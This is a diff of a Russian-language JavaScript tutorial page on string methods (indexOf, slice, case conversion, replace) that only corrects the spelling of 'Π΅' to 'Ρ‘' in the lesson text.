+<p>Π”Π»ΠΈΠ½Π° слова Β«mozillaΒ» Ρ€Π°Π²Π½Π° 7, Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ счёт начинаСтся с 0, позиция послСднСго символа Ρ€Π°Π²Π½Π° 6, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½Π° <code>length-1</code>. Π’Π°ΠΊΠΎΠΉ способ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΡƒΠΊΠ²Ρƒ ряда строк ΠΈ ΡƒΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠΎ Π°Π»Ρ„Π°Π²ΠΈΡ‚Ρƒ.</p>
-<h3 id="Поиск_подстроки_Π²Π½ΡƒΡ‚Ρ€ΠΈ_строки_ΠΈ_Π΅Π΅_ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅">Поиск подстроки Π²Π½ΡƒΡ‚Ρ€ΠΈ строки ΠΈ Π΅Π΅ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅</h3>
+<h3 id="Поиск_подстроки_Π²Π½ΡƒΡ‚Ρ€ΠΈ_строки_ΠΈ_Π΅Ρ‘_ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅">Поиск подстроки Π²Π½ΡƒΡ‚Ρ€ΠΈ строки ΠΈ Π΅Ρ‘ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅</h3>
<ol>
<li>Иногда Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, присутствуСт Π»ΠΈ мСньшая строка Π²Π½ΡƒΡ‚Ρ€ΠΈ большСй (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ строки Π΅ΡΡ‚ΡŒ подстрока). Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{jsxref ("String.prototype.indexOf ()", "indexOf ()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½Ρƒ {{glossary ("parameter")}} - подстроку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ. Π’Π²Π΅Π΄ΠΈΡ‚Π΅:
<pre class="notranslate">browserType.indexOf('zilla');</pre>
- Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ 2, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ подстрока Β«zillaΒ» начинаСтся Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ 2 ("m" β€” 0, "o" β€”Β 1, "z" β€” 2) Π²Π½ΡƒΡ‚Ρ€ΠΈ Β«mozillaΒ». Π’Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ строк. НапримСр, Ссли Π΅ΡΡ‚ΡŒΒ ΡΠΏΠΈΡΠΎΠΊ Π²Π΅Π±-адрСсов ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Β«mozillaΒ».</li>
+ Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ 2, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ подстрока Β«zillaΒ» начинаСтся Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ 2 ("m" β€” 0, "o" β€”Β 1, "z" β€” 2) Π²Π½ΡƒΡ‚Ρ€ΠΈ Β«mozillaΒ». Π’Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ строк. НапримСр, Ссли Π΅ΡΡ‚ΡŒΒ ΡΠΏΠΈΡΠΎΠΊ Π²Π΅Π±-адрСсов ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Β«mozillaΒ».</li>
</ol>
<ol start="2">
@@ -202,7 +202,7 @@ if(browserType.indexOf('mozilla') !== -1) {
</li>
<li>Когда Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Π³Π΄Π΅ подстрока начинаСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ строки, ΠΈ Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Π½Π° ΠΊΠ°ΠΊΠΎΠΌ символС Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΅Ρ‘ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{jsxref ("String.prototype.slice ()", "slice ()")}}  для извлСчСния. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
<pre class="notranslate">browserType.slice(0,3);</pre>
- Π­Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Β«mozΒ».Β ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ являСтся позиция символа, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начинаСтся извлСчСниС, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ β€” позиция послСднСго символа, ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚ΡΠ΅Ρ‡ΡŒ строку<em>.</em> Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, срСз происходит с ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ послСднСй ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΅Ρ‘Β <em>(</em>ΠΏΠΎΠΌΠ½ΠΈΠΌ, Ρ‡Ρ‚ΠΎ <em>счСт ΠΈΠ΄Ρ‘Ρ‚ с 0, Π° Π½Π΅ с 1)</em>. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Ρ€Π°Π²Π΅Π½ Π΄Π»ΠΈΠ½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠΉ строки.</li>
+ Π­Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Β«mozΒ».Β ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ являСтся позиция символа, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начинаСтся извлСчСниС, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ β€” позиция послСднСго символа, ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚ΡΠ΅Ρ‡ΡŒ строку<em>.</em> Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, срСз происходит с ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ послСднСй ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΅Ρ‘Β <em>(</em>ΠΏΠΎΠΌΠ½ΠΈΠΌ, Ρ‡Ρ‚ΠΎ <em>счёт ΠΈΠ΄Ρ‘Ρ‚ с 0, Π° Π½Π΅ с 1)</em>. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Ρ€Π°Π²Π΅Π½ Π΄Π»ΠΈΠ½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠΉ строки.</li>
<li>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ссли Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ символы Π² строкС послС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ символа, Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. Достаточно Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ символа, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅Β ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ символов Π² строкС. Π’Π²Π΅Π΄ΠΈΡ‚Π΅:
<pre class="notranslate">browserType.slice(2);</pre>
Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Β«zillaΒ» β€” это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ позиция символа 2 β€” это Π±ΡƒΠΊΠ²Π° z, ΠΈ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π»ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, возвращаСмая подстрока состояла ΠΈΠ· Π²ΡΠ΅Ρ…Β ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… символов Π² строкС.</li>
@@ -214,7 +214,7 @@ if(browserType.indexOf('mozilla') !== -1) {
<h3 id="ИзмСнСниС_рСгистра">ИзмСнСниС рСгистра</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref ("String.prototype.toLowerCase ()", "toLowerCase ()")}} ΠΈ {{jsxref ("String.prototype.toUpperCase ()", "toUpperCase ()")}} ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ всС символы Π² строкС Π² Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр соотвСтствСнно. Π­Ρ‚ΠΎΡ‚ способ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… сохранСниСм Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref ("String.prototype.toLowerCase ()", "toLowerCase ()")}} ΠΈ {{jsxref ("String.prototype.toUpperCase ()", "toUpperCase ()")}} ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ всС символы Π² строкС Π² Π½ΠΈΠΆΠ½ΠΈΠΉ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр соотвСтствСнно. Π­Ρ‚ΠΎΡ‚ способ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… сохранСниСм Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит:</p>
@@ -230,7 +230,7 @@ radData.toUpperCase();</pre>
<pre class="notranslate">browserType.replace('moz','van');</pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ для фактичСского получСния ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ³ΠΎ значСния, ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ browserType Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ; ΠΎΠ½ Π½Π΅ просто обновляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ подстроки автоматичСски. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ это:Β <code>browserType = browserType.replace('moz','van');</code></p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ для фактичСского получСния ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ значСния, ΠΎΡ‚Ρ€Π°ΠΆΡ‘Π½Π½ΠΎΠ³ΠΎ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ browserType Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ; ΠΎΠ½ Π½Π΅ просто обновляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ подстроки автоматичСски. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ это:Β <code>browserType = browserType.replace('moz','van');</code></p>
<h2 id="АктивныС_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹_обучСния">АктивныС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ обучСния</h2>
@@ -240,12 +240,12 @@ radData.toUpperCase();</pre>
<h3 id="Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ_привСтствСнных_сообщСний">Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ привСтствСнных сообщСний</h3>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с простого:Β Ρƒ нас Π΅ΡΡ‚ΡŒ мноТСство сообщСний ΠΏΠΎΠ·Π΄Ρ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΊ, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ роТдСствСнскиС сообщСния. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ условный тСст Π²Π½ΡƒΡ‚Ρ€ΠΈ структуры if( ... ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² спискС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли это роТдСствСнскоС сообщСниС.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с простого:Β Ρƒ нас Π΅ΡΡ‚ΡŒ мноТСство сообщСний ΠΏΠΎΠ·Π΄Ρ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΊ, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ роТдСствСнскиС сообщСния. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ условный тСст Π²Π½ΡƒΡ‚Ρ€ΠΈ структуры if( ... ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² спискС, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли это роТдСствСнскоС сообщСниС.</p>
<ol>
<li>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ сообщСниС Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС роТдСствСнским сообщСниСм. Какая строка присутствуСт Π²ΠΎ всСх этих сообщСниях ΠΈ ΠΊΠ°ΠΊΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ?</li>
<li>Π—Π°Ρ‚Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ условный тСст <em>ΠΎΠΏΠ΅Ρ€Π°Π½Π΄1 ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄2</em>. БоотвСтствуСт Π»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ слСва Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ справа? Или Π² этом случаС Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° слСва Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ справа?</li>
- <li>Подсказка. Π’ этом случаС, вСроятно, ΠΏΠΎΠ»Π΅Π·Π½Π΅Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π½Π΅ являСтся Π»ΠΈΒ Ρ‡Π°ΡΡ‚ΡŒ строки Π½Π΅ Ρ€Π°Π²Π½ΠΎΠΉ (!==) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ.</li>
+ <li>Подсказка. Π’ этом случаС, вСроятно, ΠΏΠΎΠ»Π΅Π·Π½Π΅Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π½Π΅ являСтся Π»ΠΈΒ Ρ‡Π°ΡΡ‚ΡŒ строки Π½Π΅ Ρ€Π°Π²Π½ΠΎΠΉ (!==) ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ.</li>
</ol>
<div class="hidden">
@@ -396,9 +396,9 @@ textarea.onkeyup = function(){
<p>Π’ этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ Ρƒ нас Π΅ΡΡ‚ΡŒ названия Π³ΠΎΡ€ΠΎΠ΄ΠΎΠ² Π² Π’Π΅Π»ΠΈΠΊΠΎΠ±Ρ€ΠΈΡ‚Π°Π½ΠΈΠΈ, Π½ΠΎ написанных Ρ€Π°Π·Π½Ρ‹ΠΌ рСгистром. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΈΡ… Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π² Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹. Π₯ΠΎΡ€ΠΎΡˆΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это:</p>
<ol>
- <li>ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠΉΡ‚Π΅ всю строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽΡΡ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ input, Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр ΠΈ сохранитС Π΅Π΅ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</li>
